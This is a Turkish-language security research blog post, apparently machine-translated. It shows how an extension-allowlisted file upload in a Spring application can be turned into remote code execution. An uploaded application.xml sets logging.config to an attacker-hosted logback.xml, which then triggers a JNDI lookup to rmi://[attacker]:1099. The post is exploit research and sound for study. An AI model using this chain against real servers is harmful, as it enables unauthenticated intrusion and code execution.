Geçenlerde eski bir öğrencim, bir Spring uygulamasındaki, faydalanmakta zorlandıkları çok ilginç, kimliği doğrulanmamış bir güvenlik açığıyla bana geldi. Geçen hafta sonu bu soruna biraz zaman ayırmayı başardım ve nispeten temiz bir çözüm buldum, ancak bu vektör aracılığıyla Spring uygulamalarından yararlanmak için daha genel bir çözümü tercih ederdim. Hadi dalalım, olur mu?
Güvenlik Açığı
Bu benim hatam olmadığından ve yamalı olmadığından yalnızca model kodunu paylaşabilirim ancak hata şuna benzer:
/* 152 */ MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest)request;
/* 153 */ MultipartFile multipart = multipartRequest.getFile("file");
/* 154 */ String fileName = multipart.getOriginalFilename(); // 1
/* 155 */ String fileExtension = FilenameUtils.getExtension(fileName); // 2
/* 156 */ if (!supportContentType(fileExtension)) { // 3
/* 157 */ throw new Exception("blah");
/* */ }
/* 159 */ File file = new File(fileName);
/* 160 */ multipart.transferTo(file); // 4
supportContentType
çağrı, dosya adının aşağıdaki uzantılardan birine sahip olup olmadığının kontrol edilmesiydi:
/* 95 */ public static List<String> fexts = Arrays.asList(new String[] { "gif", "jpeg", "jpg", "png", "swf", "bmp", "asf", "avi", "mpeg", "mpg", "ts", "trp", "m2v", "m2p", "mp4", "m1v", "m4v", "m4t", "vob", "m2t", "tsp", "mov", "asx", "wmv", "tp", "doc", "docx", "ppt", "pptx", "xls", "xlsx", "htm", "html", "pps", "ppsx", "pdf", "mp3", "ogg", "wav", "wma", "mp2", "ac3", "pcm", "lpcm", "flv", "wmf", "emf", "tif", "tiff", "mid", "mkv", "ra", "rm", "ram", "rmvb", "3gp", "svi", "m2ts", "divx", "mts", "vro", "zip", "xml", "wgt", "aisr" });
Uzantı izin verilenler listesinde değilse [3]kod atılacak ve istisna oluşturacaktır. Ancak izin verilenler listesindeyse kod, yüklenen dosyayı şu adrese yazmaya devam edecektir: [4]. Şu tarihte: [1] kod yalnızca dosya adını alır, dolayısıyla burada geçişleri kullanamayız. Ek olarak herhangi bir yol belirtilmemiştir; bu, hizmetin varsayılan olarak Tomcat sunucusunun temel dizinine yazacağı anlamına gelir: C:\[redacted]\tomcat\bin
.
Sömürü Yaklaşımı
Yakın zamanda, kimliği doğrulanmamış tam uzaktan kod yürütme için hapsedilmiş dosya yazmayı kötüye kullanan iyi bir arkadaşımdan ilham aldım. Hiçbir zaman bu kadar sıkı kısıtlamalardan gerçekten yararlanmadım, bu tür hatalara nasıl yaklaşılabileceğini merak ediyordum. Görünüşte bu durum istismar edilemez gibi görünüyor çünkü sınırlı bir dosya yazma işlemimiz var. Yazma konumunu kontrol edemiyoruz ve ilginç görünmeyen uzantıların izin verilenler listesine sahibiz… yoksa öyle mi?
Gözüme çarpan iki uzantı şunlardı: .zip
Ve .xml
. Tomcat işlemeyi seviyor xml
dosyalar, önce bunu deneyelim. okuduktan sonra tomcat9.exe
Bir süre işlem yaptıktan sonra var olmayan bir dosyayı yüklemeye çalıştığını fark ettim: application.xml
.
Geçersiz bir numara yerleştirdiğimde xml
dizindeki dosyanın, sınıfı kullanarak dosyayı yüklemeye çalıştığı bir yığın izlemesi gördüm ConfigFileApplicationListener
. Bu blog gönderisine göre Dinleyici, uygulama yapılandırma dosyalarını aşağıdaki uzantılardan aşağıdaki sırayla yüklemeye çalışır:
Bu, Process Monitor’de gördüklerimle tam olarak eşleşiyordu. İlginç olan şu ki xml
uzantısı pek belgelenmemiştir ancak hızlı bir Google araması beni resmi Spring Ortak Uygulama Özellikleri belgelerine yönlendirir. Birkaç özellik var ama benim için oldukça hızlı bir şekilde göze çarpan şey şuydu: logging.config
. Bu, tarafından kullanıldı org.springframework.boot.context.logging.LoggingApplicationListener
sınıf. Sınıfı inceleyerek aşağıdaki kodu buluyoruz:
/* */ public void onApplicationEvent(ApplicationEvent event) {
/* 219 */ if (event instanceof ApplicationStartingEvent) {
/* 220 */ onApplicationStartingEvent((ApplicationStartingEvent)event);
/* */ }
/* 222 */ else if (event instanceof ApplicationEnvironmentPreparedEvent) {
/* 223 */ onApplicationEnvironmentPreparedEvent((ApplicationEnvironmentPreparedEvent)event); // 1
/* */ }
/* 225 */ else if (event instanceof ApplicationPreparedEvent) {
/* 226 */ onApplicationPreparedEvent((ApplicationPreparedEvent)event);
/* */ }
/* 228 */ else if (event instanceof ContextClosedEvent && ((ContextClosedEvent)event)
/* 229 */ .getApplicationContext().getParent() == null) {
/* 230 */ onContextClosedEvent();
/* */ }
/* 232 */ else if (event instanceof org.springframework.boot.context.event.ApplicationFailedEvent) {
/* 233 */ onApplicationFailedEvent();
/* */ }
/* */ }
Şu tarihte: [1] the onApplicationEvent
çağırır onApplicationEnvironmentPreparedEvent
yöntem:
/* */ private void onApplicationEnvironmentPreparedEvent(ApplicationEnvironmentPreparedEvent event) {
/* 243 */ if (this.loggingSystem == null) {
/* 244 */ this.loggingSystem = LoggingSystem.get(event.getSpringApplication().getClassLoader());
/* */ }
/* 246 */ initialize(event.getEnvironment(), event.getSpringApplication().getClassLoader()); // 2
/* */ }
Şu tarihte: [2] the initialize
yöntem, ilk argüman olarak çevre ile çağrılır:
/* */ protected void initialize(ConfigurableEnvironment environment, ClassLoader classLoader) {
/* 281 */ (new LoggingSystemProperties(environment)).apply();
/* 282 */ this.logFile = LogFile.get(environment);
/* 283 */ if (this.logFile != null) {
/* 284 */ this.logFile.applyToSystemProperties();
/* */ }
/* 286 */ this.loggerGroups = new LoggerGroups(DEFAULT_GROUP_LOGGERS);
/* 287 */ initializeEarlyLoggingLevel(environment);
/* 288 */ initializeSystem(environment, this.loggingSystem, this.logFile); // 3
/* 289 */ initializeFinalLoggingLevels(environment, this.loggingSystem);
/* 290 */ registerShutdownHookIfNecessary(environment, this.loggingSystem);
/* */ }
Şu tarihte: [3] the initializeSystem
çevre ile çağrılır. Unutmayın, elimizdeki güvenlik açığıyla ortamdaki özellikleri ayarlayabiliriz.
/* */ private void initializeSystem(ConfigurableEnvironment environment, LoggingSystem system, LogFile logFile) {
/* 310 */ LoggingInitializationContext initializationContext = new LoggingInitializationContext(environment);
/* 311 */ String logConfig = environment.getProperty("logging.config"); // 4
/* 312 */ if (ignoreLogConfig(logConfig)) {
/* 313 */ system.initialize(initializationContext, null, logFile);
/* */ } else {
/* */
/* */ try {
/* 317 */ ResourceUtils.getURL(logConfig).openStream().close();
/* 318 */ system.initialize(initializationContext, logConfig, logFile); // 5
/* */ }
/* 320 */ catch (Exception ex) {
/* */
/* 322 */ System.err.println("Logging system failed to initialize using configuration from '" + logConfig + "'");
/* 323 */ ex.printStackTrace(System.err);
/* 324 */ throw new IllegalStateException(ex);
/* */ }
/* */ }
/* */ }
Şu tarihte: [4] kod mülkü ele geçirecek logging.config
çevreden ve onu bir çağrıya ayrıştırın initialize
üzerinde org.springframework.boot.logging.logback.LogbackLoggingSystem
sınıf [5].
/* */ public void initialize(LoggingInitializationContext initializationContext, String configLocation, LogFile logFile) {
/* 109 */ LoggerContext loggerContext = getLoggerContext();
/* 110 */ if (isAlreadyInitialized(loggerContext)) {
/* */ return;
/* */ }
/* 113 */ super.initialize(initializationContext, configLocation, logFile); // 6
/* 114 */ loggerContext.getTurboFilterList().remove(FILTER);
/* 115 */ markAsInitialized(loggerContext);
/* 116 */ if (StringUtils.hasText(System.getProperty("logback.configurationFile"))) {
/* 117 */ getLogger(LogbackLoggingSystem.class.getName()).warn("Ignoring 'logback.configurationFile' system property. Please use 'logging.config' instead.");
/* */ }
/* */ }
Şu tarihte: [6] kod arayacak super.initialize
saldırganın kontrolündeki mülkle. Bu bir ebeveyn sınıfına akacaktır: org.springframework.boot.logging.AbstractLoggingSystem
:
/* */ public void initialize(LoggingInitializationContext initializationContext, String configLocation, LogFile logFile) {
/* 55 */ if (StringUtils.hasLength(configLocation)) {
/* 56 */ initializeWithSpecificConfig(initializationContext, configLocation, logFile); // 7
/* */ return;
/* */ }
/* 59 */ initializeWithConventions(initializationContext, logFile);
/* */ }
/* */ private void initializeWithSpecificConfig(LoggingInitializationContext initializationContext, String configLocation, LogFile logFile) {
/* 64 */ configLocation = SystemPropertyUtils.resolvePlaceholders(configLocation);
/* 65 */ loadConfiguration(initializationContext, configLocation, logFile); // 8
/* */ }
Şu tarihte: [7] akış devam ediyor initializeWithSpecificConfig
ve sonra loadConfiguration
en [8]. O zamandan beri loadConfiguration
ana sınıfta tanımlanmadıysa alt sınıfa geri dönecektir org.springframework.boot.logging.logback.LogbackLoggingSystem
:
/* */ protected void loadConfiguration(LoggingInitializationContext initializationContext, String location, LogFile logFile) {
/* 136 */ super.loadConfiguration(initializationContext, location, logFile);
/* 137 */ LoggerContext loggerContext = getLoggerContext();
/* 138 */ stopAndReset(loggerContext);
/* */ try {
/* 140 */ configureByResourceUrl(initializationContext, loggerContext, ResourceUtils.getURL(location)); // 9
/* */ }
/* 142 */ catch (Exception ex) {
/* 143 */ throw new IllegalStateException("Could not initialize Logback logging from " + location, ex);
/* */ }
/* 145 */ List<Status> statuses = loggerContext.getStatusManager().getCopyOfStatusList();
/* 146 */ StringBuilder errors = new StringBuilder();
/* 147 */ for (Status status : statuses) {
/* 148 */ if (status.getLevel() == 2) {
/* 149 */ errors.append((errors.length() > 0) ? String.format("%n", new Object[0]) : "");
/* 150 */ errors.append(status.toString());
/* */ }
/* */ }
/* 153 */ if (errors.length() > 0) {
/* 154 */ throw new IllegalStateException(String.format("Logback configuration error detected: %n%s", new Object[] { errors }));
/* */ }
/* */ }
/* */
/* */
/* */ private void configureByResourceUrl(LoggingInitializationContext initializationContext, LoggerContext loggerContext, URL url) throws JoranException {
/* 160 */ if (url.toString().endsWith("xml")) {
/* 161 */ JoranConfigurator configurator = new SpringBootJoranConfigurator(initializationContext);
/* 162 */ configurator.setContext(loggerContext);
/* 163 */ configurator.doConfigure(url); // 10
/* */ } else {
/* */
/* 166 */ (new ContextInitializer(loggerContext)).configureByResource(url);
/* */ }
/* */ }
Akışın takip edilmesiyle location
saldırgan tarafından kontrol edilen argümana ulaşabiliriz configureByResourceUrl
en [9] konum dönüştürülmüş olarak URL
. Son olarak, [10] ünlü (ünlü) olduğunu görebiliriz JoranConfigurator
başlatıldı ve sonunda bir çağrı yapıldı doConfigure
.
Dersime katılanlar muhtemelen bunun nereye varacağını biliyorlar. Bir tane kullanabiliriz logback.xml
Geri oturum açma kitaplığını yeniden yapılandırmak için URL. Kavramın son kanıtı application.xml
şuna benziyor:
key="logging.config">http://[attacker]:[port]/logback.xml
ve bazılarına tanıdık gelebilecek karşılık gelen geri kayıt dosyası:
env-entry-name="rmi://[attacker]:1099/Object" as="appName" />
Yıldızlar burada hizalandı; açığa çıkan REST API’lerden birini kullanarak sunucuyu uzaktan yeniden başlatmanın bir yolunu bulduk ve elbette ELProcessor
sınıf yoluna dahil edildi. Sonuç:
Son düşünceler
Burada, günlük dosyası yollarını ve diğer vektörleri tanımlamak gibi, uzaktan kod yürütme elde etmenin birçok başka yolu da vardır. Buna bakacak çok fazla zamanım olmadı ve işe yarayan ilk yaklaşımı uyguladım. Diğer araştırmacıları Spring çerçevesine dalmaya ve çevre özelliklerini kullanan diğer Dinleyicileri bulmaya ve sömürü için başka vektörler bulmaya teşvik ediyorum! JDBC (sınıfta öğretilir) ve (ab) sıralayıcıyı doğrudan kullanma gibi, geri günlüğü kullanarak kod enjeksiyonu için başka vektörler de vardır. Ancak bu, okuyan araştırmacı için bir alıştırmadır.